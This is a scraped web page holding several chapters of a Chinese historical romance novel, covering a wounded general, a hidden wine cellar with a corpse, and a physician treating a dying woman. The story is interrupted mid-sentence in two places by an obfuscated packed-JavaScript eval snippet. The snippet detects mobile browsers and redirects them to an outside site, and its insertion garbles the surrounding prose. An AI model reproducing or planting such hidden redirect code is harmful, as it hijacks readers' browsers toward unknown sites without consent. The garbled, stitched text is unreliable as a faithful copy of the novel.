吴将军?吴可卿?! “不是相传,半年前,日辄、花迟两国入侵,赵、吴两位将军带领着士兵们一举击溃敌人们嘛,难道你说的吴将军是他?”半年前的那场战争浩浩荡荡,坊间人人皆知,月柒也听闻了些许,眼前的此情此景,她和我一样想到了吴可卿将军。 既然这个人跟吴可卿关系不浅,又伤得如此之重,他难道是…… 吴将军的副将赵将军? “可不是嘛,将军被送到我师父这里的时候深中日辄国剧毒‘迷迭’,还好那毒我师父之前接触过,早就研制出了解药。不然将军就……就……还有这腿,在战场上受了伤,送来的时候都烂成什么样了,师父拿了刀,一刀一刀地把那些腐肉刮下来。”弥生为赵将军的遭遇忿忿不平,愤慨得泪珠直往下滚。 “小子!我都没哭,你哭什么?大男子汉的,成何体统!”赵将军怒斥了他一句,眼神中带着怒不可遏。 弥生一听这话,立马止住了眼泪,又马上倔强地用袖子擦了把脸,朝他咧嘴一笑。 回忆汹涌而来,我突然想起之前爹跟我说的一些朝中事,恍然大悟:“其实小柒说的只是大概,吴将军他身受重伤,在家躺了一个月才能下地,莫非,您是赵将军?久仰久仰!” 那场鏖战持续了三天,受伤的士兵们不计其数,为了稳定民心,震慑外邦,主帅吴将军受伤的消息被封锁,令我万万没想到的是,原来,副帅赵将军已经在生死边缘走过一遭了。 “你是何人?又是如何得知这些的?”赵将军眸中闪过一丝狐疑,语气里带着些许的戒备和敌意。 我能理解,他是怕他受伤的消息会经我口传出去,对边关和朝中的将士们稳定军心都不利。 11. 佳酿 “我是江陵大人的儿子,常听我爹提起您,将军您大可放心疗养,有关于您受伤的消息,我定会守口如瓶的。”我爹是朝中参知政事,想必赵将军也是认识的吧。 “我也是我也是,我肯定保密。”月柒听我这么说,赶忙举手附和道。 “抱歉,常年在外奔波,不认得你们这些后生晚辈。”赵将军尴尬地笑了笑,随即脸上愁云满布,满是担忧:“江公子此次前来,可是令尊得了什么大病?” “不是的,是我娘病了,子执哥哥是陪我一起来的。”月柒怕他误会,忙解释道。 “这样啊。”赵将军顿悟,微微颔首,也没多过问月柒和我之间的纠葛,只当我们是玩伴。 和将军扯了些家常,说了些类似于“请您多保重”的关怀话,我们三人就离开了。 弥生带我们四处参观老酒鬼的宅子,老酒鬼种了很多药材,它们中大部分在冬日寒冷的摧残下已经生机全无,唯独有一大片芍药在后院里,若无其事地开着,和天地间的满片白形成了鲜明的对比。 月柒本来十分好奇,想去看看这芍药里究竟有什么玄机,却被弥生制止了:“别碰,那芍药我师父宝贝着呢,连我都不让碰。” 里里外外参观完毕,弥生说要去煎药,我和月柒闲来无事,像条小尾巴样,也跟了上去。 “那吴可卿,可是你师父医好的?”我心中有一大堆的疑惑,趁着弥生煎药,便拉了小板凳,和月柒一左一右地围在他身边,叽叽喳喳问个不停。 “师父说了,吴可卿死不了,就不医他,把他赶回去了。”火光照在弥生的脸上,隐隐约约可以看见他脸上的愤慨之色。 “你师父真怪。”月柒双手捧着脸,很认真地在看弥生煎药。 弥生拿着一只蒲扇,用轻微的力度摇晃着,煎着药的陶罐滋滋作响,轻烟袅袅,空气中弥漫着隐隐约约的苦涩。 “对啊,我师父非疑难杂症不医、非将死之人不医、朝廷里的人,他也一概不医。这次的赵将军,还是小疯子求了师父大半天,师父才答应的。”弥生揭开了药罐的盖子,搅动了一番,一阵独特的中药味溢出来,味道更加呛鼻了。 “小疯子???”我和月柒异口同声地问道。 “嘻嘻嘻,师父的财主。每次师父给那些穷人们治病,不但分文不取,有时候还倒贴些银子给他们补贴家用,师父一旦没钱了,就让我去小疯子的钱庄拿钱。”有这么一个可以抱的大腿在背后,弥生的表情有些得意。 如此看来,这个“小疯子”是不是个真的疯子我们就不知道了,但可以肯定的是,他绝对是个有钱人,而且,他一定受过王爷的恩惠,不然,就王爷这个臭脾气,若不是因为亏欠,谁会对他百般相依? 很快,弥生煎好了药,小心翼翼地把它们盛起来,跟我们说道:“嘻嘻嘻,我先走了,隔壁还有一个生病的大婶等着我去喂药呢。” 一夜无眠,月夫人的病,月夫人之前的那番叮嘱,几乎快要死去的赵将军,那个不苟言笑跟我说着不许参加科举不许上战场的爹…… 很多人,很多事,逐一地浮现在我的脑袋里,惹得我思绪万千,像是狂风骤雨下翻腾搅动的海。 鬼坟山上神经兮兮的王爷是个神医,他的医术有多高超?如果我和月柒最后没有在一起,她会嫁给谁,我又会娶了谁?如果我当时没有听爹的劝告,没有止步在练武,现在是不是会比赵将军还惨,说不定早就不在这个人世间了? 我突然有点能理解他的良苦用心了。他虽然不允许我当大官,但每天都会跟我讲一些朝中大臣的事情和自己对当前政局的一些看法,怕的就是当我真正接触这些东西的时候一无所知吧? 原来,之前在醉红楼听到两个陌生人议论的不太平并不是偶然,加上花迟、日辄这般蠢蠢欲动,玉宵国两大良将身负重伤却不敢对外公布,玉霄国怕是真的不太平了。 无数的想法一时间挤进我的脑袋里,像成千上万只蜜蜂在耳边嗡嗡作响,几乎快要炸裂开来。我翻了一个身,又翻了一个身。 “阿执哥哥,你在想什么?”大概是听到了我床板移动的声音,旁边也没睡着的月柒幽幽地问了一句。 我不敢跟她谈论月夫人,怕又引到什么奇怪的话题上来,就说起了赵将军的事。 “我在想,天底下还有多少我们不知道的事情。要不是今天亲眼所见,我还不知道,赵将军差点就死了,那些将士们保家卫国做出了多大的牺牲。”我望着漆黑的天顶,想象着漫无边际的夜,絮絮说着。 真幸福呐,我只是一介文官,最多只是口诛笔伐,只要不说什么过激的言论,自可性命无忧。相比较之下,不必同那些武官一样,前去边塞,日日见着刀光剑影,同敌人浴血厮杀。 “我在想我娘,我觉得王爷可以救她。”月柒又翻了个身,朝向我。 她语气淡淡的,我看不见她的表情,也不知道她是喜是悲。 其实这不是我们第一次出来寻大夫了,之前的那些大夫都瞧不出个所以然来,只是象征性地开了些补药。他们中更有人悄悄拉我到一旁,说了句“准备后事”,这些事,我都没敢告诉月柒…… “一定会的。早点睡吧。”此情此景,除了安慰和祈祷奇迹的来临,我也不知道该怎样劝她。 天空慢慢地露出了鱼肚白,耳边传来了零零落落的鸡叫声。月柒躺在我旁边睡得很安详,我却怎么也睡不着了,蹑手蹑脚地爬了起来。 前院,弥生在喂那些鸡鸭鹅。一把谷子撒下地,那些小生灵们乱作一团,你抢我夺,毫不认输。 不知道怎么地,像着魔了一样,我突然很想去后院看看那些芍药,那片被王爷宝贝着的芍药,究竟有什么秘密? 此时王爷也在,他小心翼翼地在给它们浇水,对着那些花儿看得满脸沉醉,完全没发现身后的我,还自言自语地夸道:“真美。” 那些芍药颜色鲜艳欲滴,像是吃了人血的活物,它们迎风摇摇头,似是在回应王爷的话。这诡异的一幕让我觉得毛骨悚然,吓得我赶紧掉头离开。 冬季使人困倦,可我愣是怎么也睡不着,跟在弥生后面烧水劈柴煎药,直到日上三竿,月柒才揉着惺忪的睡眼爬起来。 用过早膳,弥生就送月柒和我下了山。 说到请王爷看病这件事,王爷有个要求,他说,他想要一坛子世上最好喝的酒作为诊金。 王爷嗜酒,提出要一坛酒作为他的出诊费也不过分,问题就难在“最好喝”三个字上面。 月柒之前问我,醉红楼最美的姑娘是谁?我可能觉得是甲,月柒可能觉得是乙,沈笑可能觉得是丙,不知王爷心目中的“最好喝”,究竟是什么样子? 这天我如往常一般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244467|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来到了醉红楼,试图问问喝酒如饮水、千杯不醉的沈笑。 陈妈妈依旧和寻常一样,带着一个颇有姿色的姑娘在门口招揽客人。曲无意依旧在高台上拨弄着琴弦,一副超凡脱俗于事外的模样,仿佛身处蓬莱仙境。 大厅里有人闹有人笑,月柒和玲珑正在二楼的回廊上校琴,看来她们比较忙,我也没去叨扰,沈笑依旧穿得红瞎了我的眼,坐在一楼大厅喝酒,我刚打算过去找他…… 总感觉气氛有些不对劲,那种奇怪的感觉说不上来,直到我看到了角落里独坐的那个男子。 那个男子戴了半个狐狸面具,遮住了上半边脸,修长的手指握着一盏白玉酒杯,正欲递往唇边,他浑身散发着一股子清冷的气息,好似周遭的空气都因此降了几度。 一身妖娆红衣的沈笑和一个姑娘调笑着,一不小心撞到了他,他盏中的酒有些许洒在了他的紫袍上。 沈笑连忙赔罪道:“不好意思嘞,爷。” 一时间,那双看不见面容的眸中升腾起无名的杀意,周遭的空气仿佛都凝固起来。 沈笑估计酒都吓醒了,我伸手去摸身上的佩剑,寻思着要是打起来了就给沈笑扔过去,免得他吃亏。他虽习武,可从不佩剑,给人一种文弱书生的感觉,但我知道,他既然能教我武功,武力肯定是胜于我的,只是相对于眼前的这名男子,怕是无过之而犹有不及吧…… 周围的酒客们噤若寒蝉,一时空气中安静得只有曲无意的琴声,只听得曲无意淡定地接了句:“公子好雅兴呀,莫非只是来这醉红楼听无意弹曲的?” 醉红楼胆大的姑娘是很多,但多是色胆,面对这么个来路不明的危险人物还能镇定自若的,还真没几个,曲无意此时挺身而出,难道不怕惹上什么祸端? 众人的目光一下子都转移到了曲无意的身上,要是触了霉头,可没好果子吃。我猜曲无意可能是仗着身上有些武功,才会无所畏惧,要是和面前的男子比划起来,还不知道孰高孰低呢。 双方局势就这么僵持着,我正琢磨着万一不小心打起来了是去帮曲无意还是先救沈笑…… 大概是屋子内的安静有些异样,没过多久,门口附近传来了陈妈妈的尖利的大嗓门:“哟,这位爷,一看您就身手不凡呀。” 紧接着,陈妈妈就扭着杨柳腰往沈笑那边走。 “我走了。”也不知道跟谁说完这句话,那个男人一把抄起手边的剑,头也不回地离开了,而那杯洒到只剩一半的酒,依旧安静地立在桌上。 他没有付酒钱,没有人敢找他要…… 我就有些纳闷了,这个人,既无心于美色,也无心于琴曲,来这醉红楼做甚?难道只是为了喝酒? 随着那个男子背影渐远,酒客们回归之前的喧嚣,我问沈笑:“你知道什么酒最好喝吗?” 沈笑目光随着那人远去,颇有意味地答道:“依我看,醉红楼的酒就挺好的,不妨你去问问月柒?” 我望了望楼上的二人,月柒触到了我的目光,会意到了我心中的疑惑,立马打发走了玲珑,把我拉到一个隐秘的小角落。不待我开口,她便悄悄说道:“你知道吗,我们醉红楼有个酒窖,说不定王爷要找的酒,就在那里。” 醉红楼有个酒窖?这我倒是第一次听说。 这丫头看似没心没肺,原来王爷的话她早就放在心上了呀。 12. 红尘 “那有什么,我们醉红楼的酒,都是陈妈妈酿的呢。”月柒看我一脸的不解,有些自豪地解释道。 想来醉红楼里奇女子甚多,她们各自身怀绝技,我也就没太在意林妈妈会酿酒这件事。 月柒带着我从侧门进了酒窖,那门极矮,只有半人高。门口有两个搬酒的小厮,他们见了月柒,不约而同地打了个招呼:“嗨,月姑娘,来找酒喝呀?” “是啊是啊,你们知道,哪里的酒最好吗?”月柒和他们显得很熟络,赶忙上前去打听。 “你顺着这个方向往里走,里面的酒呀,都是好酒。”其中有一个小厮朝她指了指更深处的地方,他指尖朝向的地方黑漆漆,什么也看不到。 “不过月姑娘,里面是个石洞,乌漆麻黑的,你去的时候,记得在门口拿盏灯。”那小厮搬着手中的酒坛,猫着腰正准备出去,还不忘回头嘱咐一句。 “好嘞,谢谢大哥。”月柒随即在手边燃了两盏油灯,将其中的一盏递给了我。 整个酒窖弥漫着酒香,熏得人醉醉的。狭小的空间里,回荡着月柒和我的脚步声。 咚,咚,咚。 两边的壁橱上摆满了各式各样高矮不等、大小不同、纹饰迥异的酒坛,像一个巨大的珍宝柜,罗列着主人毕生的珍藏。 有的酒坛上面蒙了一层厚厚的灰,粘着密密麻麻的蛛网,月柒见状,扯下其中的一绺,顿时灰尘满天,她皱了皱眉头:“这帮家伙懒得要死了,赶明儿让他们过来打扫打扫。” “这么多酒,都是好酒,可是它们都不是这里最好的酒。”月柒靠近其中一个酒坛上的布,嗅了嗅。 “嗯?”我疑惑,她是怎么知道的? “物以稀为贵嘛。这些酒坛虽然大小不一,形状也各异,但是它们都有一个特点,就是数量多,而且味道是一样的,应该是同一批酒没错了。”月柒又凑近另一个酒坛,嗅了嗅。 我饮酒也只是附庸风雅,根本分不出好坏,月柒不一样,身处花天酒地之所,见得多了,都能仅凭味道分辨出好坏,也不知道是跟谁学的,你看,我就说醉红楼卧虎藏龙吧。 越往里走,酒香真的是愈浓烈,可也是越来越冷,藏酒需要用低温吗?真是奇怪。 路的尽头是被堵死的,两侧的橱柜上,依旧和之前一样,摆了各式各样的酒坛。 “没有路了。”我望着面前厚厚的一堵石墙,又看了看月柒,可我更分明感受到,墙后渗出的彻骨的凉意。 “那可能这里的酒就是最好的了,我们抱一坛回去吧。”月柒也没想太多,正欲把手边一个精巧的小坛子搬走。 只听“咔哒”一声,好像触动了什么机关一样。 伴随着巨石拔地而起的轰隆声,门后的一方天地赫然而现,光亮同寒气一起弥漫过来。 是密室! “哇,肯定里面有更好的酒!”月柒整个人显得异常的兴奋,说着便冲了进去,完全忽视了周遭的寒意。 “你慢点,别跑太远了。”我话刚出口,月柒已经拐过了前方的一个分叉路口,消失在了我的视线里。 我想着,这里是醉红楼,她应该不会遇到什么危险,便顾自摸索起来。 我们现在所处的这个地方,以天然寒石作为依托,四处都是坑坑洼洼的石壁,石壁上点了些许的油灯,把整个山洞照得亮堂堂的,想必是常有人来。这个酒窖的归属者,也就是醉红楼的主人,是林妈妈吧。 我摸索着往里走,却不经意间我触碰到一块可以活动的石头,好奇之下转了转,没想到这是一个中部安装了轴承的门,门后别有洞天,一推门,我便进入了屋内。 等我看清楚屋内的东西时,忍不住惊叫了一声:“啊!” 不远处传来了月柒关怀的声音:“阿执哥哥,怎么了?” 听见她的步伐离我越来越近,本着多一事不如少一事的原则,我决定马上离开这里。 “没事,有老鼠。”我假装淡定,随即马上推开石门出去了,并没有让月柒进去。 石门又恢复到当初的模样,和整个山洞锲合得完完整整,一切都好像没有发生。 可我分明看见了屋内的东西—— 石室里面有一具水晶棺,里面装了个年纪大约四五十岁的男人的尸体。那男人面目安详,尸身也没有腐烂,就那样静静地躺在里面,像是睡着了一般。 我也不敢细究太多了,老早之前玲珑跟我说过,对醉红楼里面的东西的好奇心越少,活命的机会就越大,最好是什么都不知道。 再往里走居然是林妈妈酿酒的屋子,月柒认真地嗅了嗅,竟然真的在里面翻出了几坛子有模有样的酒,欢欢喜喜地抱走一坛,带着我出了酒窖。 “哟,我当是谁,没想到是月大小姐。”未见其人,已闻其声,声音里带着些许冷嘲热讽,好一个先声夺人的女子! “好呀,半秀。”月柒完全没搞明白目前的状况,还友好地跟她打了个招呼。 “月大小姐看着是清纯无辜,没想到偷男人的本事却不小,把我们江公子迷的是神魂颠倒,果然跟她娘一样,都是骚浪蹄子。”半秀尖利的嗓门回荡在空气中,有好事者的目光马上迎了过来。 月柒什么都没有说,把手中的酒坛塞给了我,正欲上楼去。 哪知这个小举动被半秀瞧见了,立马被无限放大:“可不是嘛,今天还在醉红楼偷起东西来了。” 这不是没事找事嘛,说这句话的,是从隔壁烟花醉新搬来的花魁半秀,大抵是仗着自己之前的名声,想欺负欺负醉红楼里一些看起来柔弱无助的女子,涨涨自己的威风。我心里念着,不知者无罪,小柒不要跟她一般见识。 “啪”的一声,一记响亮的耳光划过。周遭的人目光全被吸引了过来,月柒理直气壮地站在半秀面前,如同一头愤怒的小狮子,低吼了句:“滚!” 半秀捂着肿了半边的脸,眼泪巴巴地退后了几步,把道让出来给月柒,却还不知道自己为什么会沦落到这般田地。 一坛酒罢了,在别人眼里,可能就是“偷”,我相信因为月柒和月夫人的特殊,这是光明正大地“拿”。这其中缘由未可知,只不过我作为一个局外人,她们不说,我便不问。 我发现自己慢慢了解到那个不一样的月柒。 她虽然年纪还小,身子也还柔弱,可骨子里,是不会容忍自己被他人肆意欺负的。其实这个女孩子,肩负着太多苦楚,却依旧心怀善良,她没有看起来的那般横行霸道和盛气凌人,她不过是拥有着一具坚硬带刺的外壳,将自己伪装得很强大,这样一来,别人才不会觉得她好欺负,便肆意妄为欺负她。 醉红楼也是明争暗斗之地,尔虞我诈。月柒身为乐师,虽不用和其他人一样为头牌争宠,却也在各种锋芒浪尖之中。 “红尘啊。”林妈妈闻声而来,以为楼内又出了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244468|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岔子,看了看我手中的那坛酒,垂下了眼眸。 “可是还有其他的什么?”她又问道。 我分明感觉到了这句话里面的杀气,甚至带有几丝威胁的意味,更确定了那个男子于她而言,有着非同凡响的意义。 “哦,林妈妈,我们还看到了好多酒,各种各样的。”月柒真的是什么都没看到,说出话来也是底气十足,要我去答的话,肯定把心虚展露得无疑,好在她抢答得快。 “这样啊,既然能找到,就说明你们与它有缘,便拿去吧。”林妈妈的语气淡淡的,好像说的不是一坛与秘密同存的贵重的酒,而是一坛不起眼的清水。 林妈妈是见过大风大浪的人,处理起来问题也让人心服口服,不然仅凭她一人,根本打理不好这乱起来如同一锅粥的醉红楼。 她既然说了赠与月柒,半秀也不能再说什么,只能捂着半边脸,在一旁气得红了眼。平日里的她是何等威风,没想到今天却败在了一个不出名的小丫头手里,这梁子,大概是结下了。 “好气啊!我也想忍啊,可我没忍住,她说谁都可以,就是不许说我娘的坏话。”月柒对于半秀的话是耿耿于怀,回屋子半天了,还在跟我念叨着这茬。 “哦。”虽面上是云淡风轻,可我在心里却觉得月柒干得甚是漂亮,如今月夫人保护不了她了,我有时候也不在醉红楼,她便要自己保护好自己。 王爷得到红尘的时候,有些惊喜,他说,这个味道,他二十多年前尝过。我本以为他会说一些跟治月夫人的病有关的话,结果他拉着我和月柒坐在火炉前烤火,说起了二十年前的往事。 火炉烧得很旺,有火籽噼里啪啦地响着,映着王爷沧桑的脸,那些尘封的往事被一一揭起。 彼时他和一个会些三脚猫功夫的姑娘比赛,内容是看谁能从森林里的一头凶猛的狗熊身上拔下来一根胡须。那个女子仗着自己身负武力,和狗熊大战几百回合,累得它精疲力尽,自己却也没有力气去拔胡须。 而他,直接就从累得半死的狗熊身上拔了一根胡须。女子虽然是极不服气的,但还是愿赌服输,送了他一坛酒,还很认真地告诉他,此酒名“红尘”。 看着王爷望向火炉若有所思,我问他,那女子可是姓林,王爷却说,不,她姓慕,随即目光又落在了屋外的那片芍药上,温柔如水。 那份眼神我能认出来,那是对于一个心爱女子的缱绻和挂念,王爷心里其实也装着某个和芍药一样宁静美好的姑娘吧,只是那姑娘现在身在何处呢? 酒喝得差不多了,王爷突然转了话题,说择日不如撞日,明日去看看小柒的娘吧。随即他昏昏沉沉地睡了过去,我几乎都以为他喝多了,讲的是醉话。 弥生也不知道哪儿去了,我给他留了个纸条,上面洋洋洒洒写了八个字:明日醉红楼见!落款为红尘。既然他口出此言,就是有心要去,可我内心又有几丝不确定,但愿他看到了以后会去吧。 下了鬼坟山以后,我收到了月柒赠的一只猫儿,也不知道她是从哪个小姐妹那里讨要来的。那猫儿尚只有两个月大,通体雪白,琥珀色的眸子如嵌着星辰那般好看。它也不认生,就那么乖巧地任由我抱在怀中抚摸,肚子传出呼噜声来。 月柒一直在笑,说我胆小怕老鼠,理应养只猫儿才对。我有时候于院中逗着猫儿,庆幸她的天真无邪,想着玲珑说的话,或许有时候,真的什么都不知道才是最好。 13. 接客 第二天,我跟沈笑和裴浅溪辞了工,抱着半信半疑的态度,在醉红楼的一楼大厅的角落悠悠地喝着一壶茶。我觉得王爷有可能不会来,至少,不靠谱才是他的风格,他若来了,我便觉得可以称得上是破天荒地了。 正当有个新来的姑娘一扭一扭走向我的时候,我看到了门外的那一抹灰。 我一把绕过了她,甚至还瞥到了她眼中的诧异……我也懒得解释些什么,难道我要跟她说,我是醉红楼常客? 站门的那个姑娘看到了穿得一身的破破烂烂的王爷,试图一把拦住他,避免他进去。 这真的是一个以“貌”取人的地方,大门永远朝那些富贵公子哥们敞开,在这里,越有钱越尊贵。这么想着,我突然有那么一丢丢的心虚,我很穷的哎,说不定哪天我也会被赶出去的吧…… “让他进来,他是我的客人。”门口的那个姑娘是认识我的,适时我出现在了门口,阻止了她。 王爷眯了眯眼睛,瞅着醉红楼的招牌看了半天,捻了捻胡子,连声啧啧道:“好地方呀!” “王爷莫要误会,小柒她生病的娘就在这里。”我迎上他颇有意味盯着我的目光,面无愧色。 敢情在王爷看来,我是来带他逛窑子的?清者自清,反正我觉得我有点解释不清楚这件事,索性不再说些什么,他爱信不信。 月夫人今日一身玄衣,发上的钗子也都散去了,就那么随意地绾了个发型,依旧是面色苍白,且双目无神。 看到王爷的到来,月柒赶忙给他搬了凳子:“来来来,我们的大神医请坐。” 王爷看到月夫人的第一眼,脸上似乎露出了迷之微笑,而这个微笑很快就隐匿在了他深深的皱纹里,仅那一瞬间,我也不知是不是我看错了。 一番望闻问切后,王爷把我和月柒叫到了一旁,一本正经地跟我们说:“她这个情况啊,已经是病入膏肓了。” “阿执哥哥,什么是‘病入膏肓’啊?”不得不说,月柒在月夫人的照顾下过得很幸福,醉红楼就像是隐匿一切苦痛的人间圣地,虚幻到“病入膏肓”这个词都没有。 “病入膏肓就是生病了,吃好多好多药膏就会好起来的。”我骗了她,我根本不敢把事情真相告诉她。 难道我要跟她讲:“小柒,你娘快死了,你知道吗?” 这句话对于一个连“病入膏肓”都理解不清楚的小女孩,真的是太残忍了。 那一瞬我看到了王爷脸上一闪而过的惊愕,可他没有拆穿我,还和声道:“是的呢,月姑娘,我给你娘开些方子,她吃了定会好起来的。” 我目送王爷离开了醉红楼,跟他道了句谢谢,他却突然回头跟我说:“以后遇到了什么事情,能帮上忙的,都可以找我。” 我想了很久,这句话是什么意思?除了请王爷帮忙看病,我们还有什么事情需要他的帮助?还是说,他已经猜到了会有什么事发生? 往后的日子,天气越来越冷,念城半月里飘了好几场鹅毛大雪,久久都未化去,整座城便一直笼罩在天地间的苍茫白色中。 这日,我念起王爷,前段时间我又约着他给月夫人开些药方,也不知道月夫人近来有没有好些儿,从右文殿出来,我就迫不及待地想去看看。 “小江江!”阿笙今日来得过早,伞上已经堆了厚厚的一层。 “我今天想去醉红楼看看,你先去忙别的吧。”我这话跟往常一般,暗含着默契。 “天气冷了,你早些回家。”他嘱咐道,将一把伞递给了我。 我应了声“好”,却没想到,我食言了。 醉红楼一如既往的热闹,红烛旖旎,醉生梦死的嫖客,香肩半露的歌女。酒香夹杂着脂粉的香气,似乎没有什么违和感,还显得有些好闻。 一把年纪的陈妈妈依旧浓妆艳抹,看我来了,有些谄媚地拽着我的长袍:“江小公子你来了啊,月姑娘在三楼接客呢。” 月柒接客?! 那一瞬我懵了,脑海中浮现的是种种不堪入目的画面,顿时加快了脚步,耳后传来陈妈妈尖利的嗓音:“哎,你说这去见小情人的公子就是不一样哈,脚底跟抹了油似的……” 我也不知道我晚去一步会发生什么,或者已经发生了什么,明明前几天还好好的月柒,怎么会突然接客? “临江阁。”玲珑抱着琵琶正准备下楼,看到我匆忙的脚步,直接甩给了我三个字。 “谢谢。”可能因为月柒的关系,我和玲珑之间颇为熟络,此时此刻,她同我,我同她,已无需多言。 临江阁的门被一脚踹开,我看到屋子里有三个人。 月柒、一个躺在地上的男人和一个穿红衣服的男人。 能穿成这样生怕别人认不出来的人,除了沈笑还能有谁? 沈笑肯定也知道我来了,并不理会我,只是用宽大的手掌捏住了月柒的下巴,嘴角浅浅地勾起,顺势要吻下去。 倒是月柒,被吓得不轻,丝毫没有察觉到我的到来。 一颗悬着的心落下了,我也不知道,为什么此时此刻的沈笑给了我满满的安全感。 沈笑往前探一点,月柒往后挪一点,像一场追逐的猫鼠游戏,其实我怕沈笑玩过火,又怕月柒受伤,适时止住了他:“阿笑,别闹了。” “小丫头就这点胆量,还想出来勾引男人?”沈笑松开了所有的禁锢,调笑了一句。 月柒把整个人都裹进被子里,只留出一双乌黑灵动的眸子看着我们俩。 我本来心存感激,想要跟沈笑说句“谢谢”,结果他又说了句:“你要是缺钱的话可以找阿执或者我,顺带说一句,我比他有钱哦,你要是求我的话,我可以考虑考虑让你做我的第七房夫人。” 我捡起地上的一只鞋就朝他砸了过去:“你滚滚。” “好嘛,溜了溜了,恩将仇报的家伙。”沈笑接过那只鞋,欢天喜地地蹦跶着出了门。 我抱起了裹着被子的月柒,刚打算离开。适时,躺在地上的男人醒了…… 醒了…… 沈笑这个杀千刀的,怎么下手不下重点! 那男子扶了扶额,一双迷茫的眼看着我,好嘛,打晕他是我干的,我权当混个脸熟了吧。 在他的注视下,我抱着小柒若无其事地出了门,回到她的房间。 我没有瞅见那个男子的面容,也不知道自己即将得罪一个大人物,毕竟当时在我的眼里心中,除了月柒,别无其他。 月柒身上的温度隔着轻薄纱衣传到我的手臂,一时间我忘了自己要干吗,是该质问她为什么要去卖身,还是该放下她,这么抱着,有点暧昧又有点尴尬。 怀中的月柒突然勾上我的脖子,冲我邪邪一笑:“子执哥哥,你不要觉得有什么,其实半秀说得对,我跟这整个醉红楼的姑娘们都一样。我们呢,都下贱。” 这句话生生地扎疼了我的心,什么叫她和这个醉红楼的姑娘们都一样?她不一样!她是我的月柒,她怎么可以在别的男人的怀抱里谄笑阿谀,怎么可以和别人承欢作乐。 八年了,我们认识八年了,她对我而言是怎样的存在呢?就是那种在旁人面前再不开心,只要一看到她,就会不由自主地嘴角上扬的那种,她于我,有如苦难中救世的神祇。 而今,我的神祇,差点成为了别人的信仰! 我们之间的关 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“对不起,我会对你负责的。”我望向她,愧疚道。 也许是我太凶了,也许是磕疼她了,月柒的眼泪簌簌地往下落着。 我终究是心疼了,想从她的梳妆盒里找到一方帕子替她擦干眼泪,却蓦地触到了一旁的麝香和红花。算了,我也不好再说她什么了,只是静静地把它们收到了自己袖中,打算下楼的时候趁人不注意一把丢掉。 我默默替她擦干眼泪,在她额上落下一个轻轻的吻。然后找了件保守的衣衫,替她穿好。 月柒像一个玩偶任由我摆弄着,我默默替她打理着青丝,铜镜中的月柒仿佛一具丧魂的游灵,面无表情。 沉默了许久,她先开了口:“今天的事你不许告诉我娘,她身体本来就不好。” “是为了你娘?”月柒的娘身体一直都不太好,为此月柒曾当了月夫人这些年在青楼所有的贵重珠宝首饰,只为了弥补月夫人的医药费。若不是有醉红楼这一方栖身之所,恐怕她们连去处都没有。 我也有些积蓄,曾不止一次跟月夫人说过,我可以替她们择一处宅子,让她们搬过去住,这样就可以远离醉红楼,哪知月夫人只是轻轻地摇了摇头,说了句:“孩子,你不懂,这天下虽大,能容下我们娘俩的,却只有这醉红楼了。” 这句话我揣摩了好久,却也是不明所以。这天下这么大,难道就没有两个柔弱女子的归宿?我想不开,可也尊重月夫人的决定。 醉红楼于她而言,也是一方污秽之地,她却这么坚持自己的想法,一定有她的道理。 “是……”月柒用力咬了咬嘴唇。 我永远不会告诉月柒,月夫人快要死了。哪怕后来她觉得我骗了她,要打我骂我,我也认了。 月柒应该守着她的一方小天地,快乐地,自由地,纯净如荷,出淤泥而不染。 “你是不是傻,没有钱可以找我啊,没有必要……没有必要……”没有必要出卖一个女孩子最宝贵的贞操,没有必要对那些男人们曲意迎逢,可是对月柒,我说不出口,就好像我也是万千嫖客中的一个人,用钱买下了她的纯真无邪。 “可是子执哥哥,我已经欠了你很多了……”月柒的声音渐渐淡下去,“你知道,我是还不起的……” “谁要你还了!你给我好好的!”手中的木梳下了力道,月柒的青丝被我扯下来了几根,她一定很疼吧,可是更疼的,是我的心。 她总是对我很客气,这种客气让我觉得有些生疏和冷漠,有股子将人拒之千里之外的那种感觉。月柒大概不知道,我欠她的,是一整条命。 14. 八年前 那天月夫人不在,醉红楼里的人说她是出去散心了,我猜她是去找王爷看病了吧。 我和月柒一起喝了好多好多的酒,喝到最后,我们俩喝得迷迷糊糊,开始胡说八道: “你知道吗,虽然我娘有时候很凶,对我很严格,但我真的觉得,她是这个世界上最好最好的人了。你羡慕不?” “我跟你讲啊,我爹也很凶,山中的大老虎,所以他一把年纪了,才没有姑娘愿意嫁给他。” “我娘跳舞可好可好看了,我不给你看!” “我爹跳舞也好看,我才不稀罕!” “我觉得我比老酒鬼酒量好,赶明儿我要去跟他喝个十坛八坛的!” “我爹他不准我喝酒!” “沈笑真的有六房夫人吗?” “胡说,沈笑一房夫人都没有,沈府里面的那些都是纸片人儿。” …… 我们俩肆无忌惮地碰杯买醉,到最后醉红楼的酒客们都走没了,我们的一番胡闹才被玲珑劝住。 玲珑带了几个姑娘把月柒扶回屋去,还劝我留下来宿一晚。 夜不归家在江府是大忌,之前夜宿鬼坟山也是沈笑好不容易才帮我搪塞过去的。虽然神志不太清,可我也把这条禁令谨记于心,玲珑拗不过我,给我安排了一辆马车。 那马车上有一个奇怪的标识,我看着觉得眼熟,可又因为视野模糊,看不太清,迷糊混沌中就被推搡着上了马车。 可能因为喝了太多的酒,浑身上下都被暖意包围着,竟然有些燥人,车到半路,我嚷嚷着太热,让车夫把我放下去。 